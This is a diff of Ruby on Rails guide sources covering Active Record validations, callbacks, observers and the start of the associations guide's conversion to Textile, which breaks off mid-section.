+* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than {{count}}_".
+* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less or equal to {{count}}_".
+* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
+* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
+
+The default error message for +validates_numericality_of+ is "_is not a number_".
+
+h4. +validates_presence_of+
+
+This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :name, :login, :email
+end
+</ruby>
+
+If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
+
+<ruby>
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+  validates_presence_of :order_id
+end
+</ruby>
+
+Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use +validates_inclusion_of :field_name, :in => [true, false]+. 
+
+The default error message for +validates_presence_of+ is "_can't be empty_".
+
+h4. +validates_uniqueness_of+
+
+This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create an unique index in your database.
+
+<ruby>
+class Account < ActiveRecord::Base
+  validates_uniqueness_of :email
+end
+</ruby>
+
+The validation happens by performing a SQL query into the model's table, searching for an existing record with the same value in that attribute.
+
+There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
+
+<ruby>
+class Holiday < ActiveRecord::Base
+  validates_uniqueness_of :name, :scope => :year,
+    :message => "should happen once per year"
+end
+</ruby>
+
+There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_uniqueness_of :name, :case_sensitive => false
+end
+</ruby>
+
+WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
+
+The default error message for +validates_uniqueness_of+ is "_has already been taken_".
+
+h4. +validates_each+
+
+This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_each :name, :surname do |model, attr, value|
+    model.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
+  end
+end
+</ruby>
+
+The block receives the model, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you can add an error message to the model, therefore making it invalid.
+
+h3. Common Validation Options
+
+There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which are discussed later in "Conditional Validation":#conditional-validation.
+
+h4. +:allow_nil+
+
+The +:allow_nil+ option skips the validation when the value being validated is +nil+. Using +:allow_nil+ with +validates_presence_of+ allows for +nil+, but any other +blank?+ value will still be rejected.
+
+<ruby>
+class Coffee < ActiveRecord::Base
+  validates_inclusion_of :size, :in => %w(small medium large),
+    :message => "{{value}} is not a valid size", :allow_nil => true
+end
+</ruby>
+
+h4. +:allow_blank+
+
+The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
+
+<ruby>
+class Topic < ActiveRecord::Base
+  validates_length_of :title, :is => 5, :allow_blank => true
+end
+
+Topic.create("title" => "").valid? # => true
+Topic.create("title" => nil).valid? # => true
+</ruby>
+
+h4. +:message+
+
+As you've already seen, the +:message+ option lets you specify the message that will be added to the +errors+ collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper.
+
+h4. +:on+
+
+The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
+
+<ruby>
+class Person < ActiveRecord::Base
+  # it will be possible to update email with a duplicated value
+  validates_uniqueness_of :email, :on => :create
+
+  # it will be possible to create the record with a non-numerical age
+  validates_numericality_of :age, :on => :update
+
+  # the default (validates on both create and update)
+  validates_presence_of :name, :on => :save
+end
+</ruby>
+
+h3. Conditional Validation
+
+Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the validation *should* happen. If you want to specify when the validation *should not* happen, then you may use the +:unless+ option.
+
+h4. Using a Symbol with +:if+ and +:unless+
+
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
+
+<ruby>
+class Order < ActiveRecord::Base
+  validates_presence_of :card_number, :if => :paid_with_card?
+
+  def paid_with_card?
+    payment_type == "card"
+  end
+end
+</ruby>
+
+h4. Using a String with +:if+ and +:unless+
+
+You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :surname, :if => "name.nil?"
+end
+</ruby>
+
+h4. Using a Proc with +:if+ and +:unless+
+
+Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
+
+<ruby>
+class Account < ActiveRecord::Base
+  validates_confirmation_of :password,
+    :unless => Proc.new { |a| a.password.blank? }
+end
+</ruby>
+
+h3. Creating Custom Validation Methods
+
+When the built-in validation helpers are not enough for your needs, you can write your own validation methods. 
+
+Simply create methods that verify the state of your models and add messages to the +errors+ collection when they are invalid. You must then register these methods by using one or more of the +validate+, +validate_on_create+ or +validate_on_update+ class methods, passing in the symbols for the validation methods' names. 
+
+You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
+
+<ruby>
+class Invoice < ActiveRecord::Base
+  validate :expiration_date_cannot_be_in_the_past,
+    :discount_cannot_be_greater_than_total_value
+
+  def expiration_date_cannot_be_in_the_past
+    errors.add(:expiration_date, "can't be in the past") if
+      !expiration_date.blank? and expiration_date < Date.today
+  end
+
+  def discount_cannot_be_greater_than_total_value
+    errors.add(:discount, "can't be greater than total value") if
+      discount > total_value
+  end
+end
+</ruby>
+
+You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:
+
+<ruby>
+ActiveRecord::Base.class_eval do
+  def self.validates_as_radio(attr_name, n, options={})
+    validates_inclusion_of attr_name, {:in => 1..n}.merge(options)
+  end
+end
+</ruby>
+
+Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
+
+<ruby>
+class Movie < ActiveRecord::Base
+  validates_as_radio :rating, 5
+end
+</ruby>
+
+h3. Working with Validation Errors
+
+In addition to the +valid?+ and +invalid?+ methods covered earlier, Rails provides a number of methods for working with the +errors+ collection and inquiring about the validity of objects. 
+
+The following is a list of the most commonly used methods. Please refer to the +ActiveRecord::Errors+ documentation for a list of all the available methods.
+
+h4. +errors.add_to_base+
+
+The +add_to_base+ method lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. +add_to_base+ simply receives a string and uses this as the error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add_to_base("This person is invalid because ...")
+  end
+end
+</ruby>
+
+h4. +errors.add+
+
+The +add+ method lets you manually add messages that are related to particular attributes. You can use the +full_messages+ method to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
+
+<ruby>
+class Person < ActiveRecord::Base
+  def a_method_used_for_validation_purposes
+    errors.add(:name, "cannot contain the characters !@#%*()_-+=")
+  end
+end
+
+person = Person.create(:name => "!@#")
+
+person.errors.on(:name)
+ # => "cannot contain the characters !@#%*()_-+="
+
+person.errors.full_messages
+ # => ["Name cannot contain the characters !@#%*()_-+="]
+</ruby>
+
+h4. +errors.on+
+
+The +on+ method is used when you want to check the error messages for a specific attribute. It returns different kinds of objects depending on the state of the +errors+ collection for the given attribute. If there are no errors related to the attribute +on+ returns +nil+. If there is just one error message for this attribute +on+ returns a string with the message. When +errors+ holds two or more error messages for the attribute, +on+ returns an array of strings, each one with one error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum => 3
+end
+
+person = Person.new(:name => "John Doe")
+person.valid? # => true
+person.errors.on(:name) # => nil
+
+person = Person.new(:name => "JD")
+person.valid? # => false
+person.errors.on(:name)
+ # => "is too short (minimum is 3 characters)"
+
+person = Person.new
+person.valid? # => false
+person.errors.on(:name)
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+</ruby>
+
+h4. +errors.clear+
+
+The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of :name, :minimum => 3
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.on(:name)
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+
+person.errors.clear
+person.errors.empty? # => true
+
+p.save # => false
+
+p.errors.on(:name)
+ # => ["can't be blank", "is too short (minimum is 3 characters)"]
+</ruby>
+
+h4. +errors.size+
+
+The +size+ method returns the total number of error messages for the object.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates_presence_of :name
+  validates_length_of   :name, :minimum => 3
+  validates_presence_of :email
+end
+
+person = Person.new
+person.valid? # => false
+person.errors.size # => 3
+
+person = Person.new(:name => "Andrea", :email => "andrea@example.com")
+person.valid? # => true
+person.errors.size # => 0
+</ruby>
+
+h3. Displaying Validation Errors in the View
+
+Rails provides built-in helpers to display the error messages of your models in your view templates. 
+
+h4. +error_messages+ and +error_messages_for+
+
+When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
+
+<ruby>
+class Product < ActiveRecord::Base
+  validates_presence_of :description, :value
+  validates_numericality_of :value, :allow_nil => true
+end
+</ruby>
+
+<erb>
+<% form_for(@product) do |f| %>
+  <%= f.error_messages %>
+  <p>
+    <%= f.label :description %><br />
+    <%= f.text_field :description %>
+  </p>
+  <p>
+    <%= f.label :value %><br />
+    <%= f.text_field :value %>
+  </p>
+  <p>
+    <%= f.submit "Create" %>
+  </p>
+<% end %>
+</erb>
+
+To get the idea, if you submit the form with empty fields you typically get this back, though styles are indeed missing by default:
+
+!images/error_messages.png(Error messages)!
+
+You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It's very similar to the previous example and will achieve exactly the same result.
+
+<erb>
+<%= error_messages_for :product %>
+</erb>
+
+The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
+
+Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.
+
+<erb>
+<%= f.error_messages :header_message => "Invalid product!",
+  :message => "You'll need to fix the following fields:",
+  :header_tag => :h3 %>
+</erb>
+
+Which results in the following content
+
+!images/customized_error_messages.png(Customized error messages)!
+
+If you pass +nil+ to any of these options, it will get rid of the respective section of the +div+.
+
+h4. Customizing the Error Messages CSS
+
+The selectors to customize the style of error messages are:
+
+* +.fieldWithErrors+ - Style for the form fields and labels with errors.
+* +#errorExplanation+ - Style for the +div+ element with the error messages.
+* +#errorExplanation h2+ - Style for the header of the +div+ element.
+* +#errorExplanation p+ - Style for the paragraph that holds the message that appears right below the header of the +div+ element.
+* +#errorExplanation ul li+ - Style for the list items with individual error messages.
+
+Scaffolding for example generates +public/stylesheets/scaffold.css+, which defines the red-based style you saw above.
+
+The name of the class and the id can be changed with the +:class+ and +:id+ options, accepted by both helpers.
+
+h4. Customizing the Error Messages HTML
+
+By default, form fields with errors are displayed enclosed by a +div+ element with the +fieldWithErrors+ CSS class. However, it's possible to override that. 
+
+The way form fields with errors are treated is defined by +ActionView::Base.field_error_proc+. This is a +Proc+ that receives two parameters:
+
+* A string with the HTML tag
+* An instance of +ActionView::Helpers::InstanceTag+.
+
+Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
+
+<ruby>
+ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+  if instance.error_message.kind_of?(Array)
+    %(#{html_tag}<span class="validation-error">&nbsp;
+      #{instance.error_message.join(',')}</span>)
+  else
+    %(#{html_tag}<span class="validation-error">&nbsp;
+      #{instance.error_message}</span>)
+  end
+end
+</ruby>
+
+This will result in something like the following:
+
+!images/validation_error_messages.png(Validation error messages)!
+
+h3. Callbacks Overview
+
+Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+
+h4. Callback Registration
+
+In order to use the available callbacks, you need to register them. You can do that by implementing them as ordinary methods, and then using a macro-style class method to register them as callbacks.
+
+<ruby>
+class User < ActiveRecord::Base
+  validates_presence_of :login, :email
+
+  before_validation :ensure_login_has_a_value
+
+  protected
+  def ensure_login_has_a_value
+    if login.nil?
+      self.login = email unless email.blank?
+    end
+  end
+end
+</ruby>
+
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in just one line.
+
+<ruby>
+class User < ActiveRecord::Base
+  validates_presence_of :login, :email
+
+  before_create {|user| user.name = user.login.capitalize 
+	if user.name.blank?}
+end
+</ruby>
+
+It's considered good practice to declare callback methods as being protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+
+h3. Available Callbacks
+
+Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+
+h4. Creating an Object
+
+* +before_validation+
+* +before_validation_on_create+
+* +after_validation+
+* +after_validation_on_create+
+* +before_save+
+* +before_create+
+* INSERT OPERATION
+* +after_create+
+* +after_save+
+
+h4. Updating an Object
+
+* +before_validation+
+* +before_validation_on_update+
+* +after_validation+
+* +after_validation_on_update+
+* +before_save+
+* +before_update+
+* UPDATE OPERATION
+* +after_update+
+* +after_save+
+
+h4. Destroying an Object
+
+* +before_destroy+
+* DELETE OPERATION
+* +after_destroy+
+
+WARNING. +after_save+ runs both on create and update, but always _after_ the more specific callbacks +after_create+ and +after_update+, no matter the order in which the macro calls were executed.
+
+h4. +after_initialize+ and +after_find+
+
+The +after_initialize+ callback will be called whenever an Active Record object is instantiated, either by directly using +new+ or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record +initialize+ method.
+
+The +after_find+ callback will be called whenever Active Record loads a record from the database. +after_find+ is called before +after_initialize+ if both are defined.
+
+The +after_initialize+ and +after_find+ callbacks are a bit different from the others. They have no +before_*+ counterparts, and the only way to register them is by defining them as regular methods. If you try to register +after_initialize+ or +after_find+ using macro-style class methods, they will just be ignored. This behaviour is due to performance reasons, since +after_initialize+ and +after_find+ will both be called for each record found in the database, significantly slowing down the queries.
+
+<ruby>
+class User < ActiveRecord::Base
+  def after_initialize
+    puts "You have initialized an object!"
+  end
+
+  def after_find
+    puts "You have found an object!"
+  end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+</ruby>
+
+h3. Running Callbacks
+
+The following methods trigger callbacks:
+
+* +create+
+* +create!+
+* +decrement!+
+* +destroy+
+* +destroy_all+
+* +increment!+
+* +save+
+* +save!+
+* +save(false)+
+* +toggle!+
+* +update+
+* +update_attribute+
+* +update_attributes+
+* +update_attributes!+
+* +valid?+
+
+Additionally, the +after_find+ callback is triggered by the following finder methods:
+
+* +all+
+* +first+
+* +find+
+* +find_all_by_<em>attribute</em>+
+* +find_by_<em>attribute</em>+
+* +find_by_<em>attribute</em>!+
+* +last+
+
+The +after_initialize+ callback is triggered every time a new object of the class is initialized.
+
+h3. Skipping Callbacks
+
+Just as with validations, it's also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. 
+
+* +decrement+
+* +decrement_counter+
+* +delete+
+* +delete_all+
+* +find_by_sql+
+* +increment+
+* +increment_counter+
+* +toggle+
+* +update_all+
+* +update_counters+
+
+h3. Halting Execution
+
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed. 
+
+The whole callback chain is wrapped in a transaction. If any before callback method returns exactly +false+ or raises an exception the execution chain gets halted and a ROLLBACK is issued. After callbacks can only accomplish that by raising an exception.
+
+WARNING. Raising an arbitrary exception may break code that expects +save+ and friends not to fail like that. The +ActiveRecord::Rollback+ exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+
+h3. Relational Callbacks
+
+Callbacks work through model relationships, and can even be defined by them. Let's take an example where a user has many posts. In our example, a user's posts should be destroyed if the user is destroyed. So, we'll add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model. 
+
+<ruby>
+class User < ActiveRecord::Base
+  has_many :posts, :dependent => :destroy    
+end
+
+class Post < ActiveRecord::Base
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Post destroyed'
+  end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.posts.create!
+=> #<Post id: 1, user_id: 1>
+>> user.destroy
+Post destroyed
+=> #<User id: 1>
+</ruby>
+
+h3. Conditional Callbacks
+
+Like in validations, we can also make our callbacks conditional, calling them only when a given predicate is satisfied. You can do that by using the +:if+ and +:unless+ options, which can take a symbol, a string or a +Proc+. You may use the +:if+ option when you want to specify when the callback *should* get called. If you want to specify when the callback *should not* be called, then you may use the +:unless+ option.
+
+h4. Using +:if+ and +:unless+ with a Symbol
+
+You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before the callback. If this method returns +false+ the callback won't be executed. This is the most common option. Using this form of registration it's also possible to register several different methods that should be called to check if the callback should be executed.
+
+<ruby>
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, :if => :paid_with_card?
+end
+</ruby>
+
+h4. Using +:if+ and +:unless+ with a String
+
+You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
+
+<ruby>
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number, :if => "paid_with_card?"
+end
+</ruby>
+
+h4. Using +:if+ and +:unless+ with a Proc
+
+Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners.
+
+<ruby>
+class Order < ActiveRecord::Base
+  before_save :normalize_card_number,
+    :if => Proc.new { |order| order.paid_with_card? }
+end
+</ruby>
+
+h4. Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it's possible to mix both +:if+ and +:unless+ in the same callback declaration.
+
+<ruby>
+class Comment < ActiveRecord::Base
+  after_create :send_email_to_author, :if => :author_wants_emails?,
+    :unless => Proc.new { |comment| comment.post.ignore_comments? }
+end
+</ruby>
+
+h3. Callback Classes
+
+Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+
+Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model.
+
+<ruby>
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    File.delete(picture_file.filepath) 
+      if File.exists?(picture_file.filepath)
+  end
+end
+</ruby>
+
+When declared inside a class the callback method will receive the model object as a parameter. We can now use it this way:
+
+<ruby>
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks.new
+end
+</ruby>
+
+Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. Sometimes it will make more sense to have it as a class method.
+
+<ruby>
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    File.delete(picture_file.filepath) 
+      if File.exists?(picture_file.filepath)
+  end
+end
+</ruby>
+
+If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
+
+<ruby>
+class PictureFile < ActiveRecord::Base
+  after_destroy PictureFileCallbacks
+end
+</ruby>
+
+You can declare as many callbacks as you want inside your callback classes.
+
+h3. Observers
+
+Observers are similar to callbacks, but with important differences. Whereas callbacks can pollute a model with code that isn't directly related to its purpose, observers allow you to add the same functionality outside of a model. For example, it could be argued that a +User+ model should not include code to send registration confirmation emails. Whenever you use callbacks with code that isn't directly related to your model, you may want to consider creating an observer instead.
+
+h4. Creating Observers
+
+For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we could create an observer to contain this functionality.
+
+<ruby>
+class UserObserver < ActiveRecord::Observer
+  def after_create(model)
+    # code to send confirmation email...
+  end
+end
+</ruby>
+
+As with callback classes, the observer's methods receive the observed model as a parameter.
+
+h4. Registering Observers
+
+Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/environment.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/environment.rb+ this way:
+
+<ruby>
+# Activate observers that should always be running
+config.active_record.observers = :user_observer
+</ruby>
+
+As usual, settings in +config/environments+ take precedence over those in +config/environment.rb+. So, if you prefer that an observer not run in all environments, you can simply register it in a specific environment instead.
+
+h4. Sharing Observers
+
+By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behaviour to more than one model, and so it's possible to manually specify the models that our observer should observe.
+
+<ruby>
+class MailerObserver < ActiveRecord::Observer
+  observe :registration, :user
+  
+  def after_create(model)
+    # code to send confirmation email...
+  end
+end
+</ruby>
+
+In this example, the +after_create+ method would be called whenever a +Registration+ or +User+ was created. Note that this new +MailerObserver+ would also need to be registered in +config/environment.rb+ in order to take effect.
+
+<ruby>
+# Activate observers that should always be running
+config.active_record.observers = :mailer_observer
+</ruby>
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/26-active-record-validations-and-callbacks
+
+* March 7, 2009: Callbacks revision by Trevor Turk
+* February 10, 2009: Observers revision by Trevor Turk
+* February 5, 2009: Initial revision by Trevor Turk
+* January 9, 2009: Initial version by "Cássio Marques":credits.html#cmarques
diff --git a/vendor/rails/railties/doc/guides/source/association_basics.txt b/vendor/rails/railties/guides/source/association_basics.textile
similarity index 54%
rename from vendor/rails/railties/doc/guides/source/association_basics.txt
rename to vendor/rails/railties/guides/source/association_basics.textile
index 5ba61664..03e22bd6 100644
--- a/vendor/rails/railties/doc/guides/source/association_basics.txt
+++ b/vendor/rails/railties/guides/source/association_basics.textile
@@ -1,5 +1,4 @@
-A Guide to Active Record Associations
-=====================================
+h2. A Guide to Active Record Associations
 
 This guide covers the association features of Active Record. By referring to this guide, you will be able to:
 
@@ -7,69 +6,66 @@ This guide covers the association features of Active Record. By referring to thi
 * Understand the various types of Active Record associations
 * Use the methods added to your models by creating associations
 
-== Why Associations?
+endprologue.
+
+h3. Why Associations?
 
 Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
 end
 
 class Order < ActiveRecord::Base
 end
--------------------------------------------------------
+</ruby>
 
 Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
 
-[source, ruby]
--------------------------------------------------------
-@order = Order.create(:order_date => Time.now, :customer_id => @customer.id)
--------------------------------------------------------
+<ruby>
+@order = Order.create(:order_date => Time.now,
+  :customer_id => @customer.id)
+</ruby>
 
 Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @orders = Order.find_by_customer_id(@customer.id)
 @orders.each do |order|
   order.destroy
 end
 @customer.destroy
--------------------------------------------------------
+</ruby>
 
-With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
-  has_many :orders
+  has_many :orders, :dependent => :destroy
 end
 
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+</ruby>
 
 With this change, creating a new order for a particular customer is easier:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @order = @customer.orders.create(:order_date => Time.now)
--------------------------------------------------------
+</ruby>
 
 Deleting a customer and all of its orders is _much_ easier:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @customer.destroy
--------------------------------------------------------
+</ruby>
 
-To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
 
-== The Types of Associations
+h3. The Types of Associations
 
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:
 
 * +belongs_to+
 * +has_one+
@@ -80,53 +76,49 @@ In Rails, an _association_ is a connection between two Active Record models. Ass
 
 In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
 
-=== The +belongs_to+ Association
+h4. The +belongs_to+ Association
 
 A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Order < ActiveRecord::Base
   belongs_to :customer
 end
--------------------------------------------------------
+</ruby>
 
-image:images/belongs_to.png[belongs_to Association Diagram]
+!images/belongs_to.png(belongs_to Association Diagram)!
 
-=== The +has_one+ Association
+h4. The +has_one+ Association
 
 A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account
 end
--------------------------------------------------------
+</ruby>
 
-image:images/has_one.png[has_one Association Diagram]
+!images/has_one.png(has_one Association Diagram)!
 
-=== The +has_many+ Association
+h4. The +has_many+ Association
 
 A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Customer < ActiveRecord::Base
   has_many :orders
 end
--------------------------------------------------------
+</ruby>
 
 NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
 
-image:images/has_many.png[has_many Association Diagram]
+!images/has_many.png(has_many Association Diagram)!
 
-=== The +has_many :through+ Association
+h4. The +has_many :through+ Association
 
 A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Physician < ActiveRecord::Base
   has_many :appointments
   has_many :patients, :through => :appointments
@@ -141,14 +133,13 @@ class Patient < ActiveRecord::Base
   has_many :appointments
   has_many :physicians, :through => :appointments
 end
--------------------------------------------------------
+</ruby>
 
-image:images/has_many_through.png[has_many :through Association Diagram]
+!images/has_many_through.png(has_many :through Association Diagram)!
 
-The +has_many :through+ association is also useful for setting up "shortcuts" through nested :+has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Document < ActiveRecord::Base
   has_many :sections
   has_many :paragraphs, :through => :sections
@@ -162,14 +153,13 @@ end
 class Paragraph < ActiveRecord::Base
   belongs_to :section
 end
--------------------------------------------------------
+</ruby>
 
-=== The +has_one :through+ Association
+h4. The +has_one :through+ Association
 
 A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Supplier < ActiveRecord::Base
   has_one :account
   has_one :account_history, :through => :account
@@ -183,16 +173,15 @@ end
 class AccountHistory < ActiveRecord::Base
   belongs_to :account
 end
--------------------------------------------------------
+</ruby>
 
-image:images/has_one_through.png[has_one :through Association Diagram]
+!images/has_one_through.png(has_one :through Association Diagram)!
 
-=== The +has_and_belongs_to_many+ Association
+h4. The +has_and_belongs_to_many+ Association
 
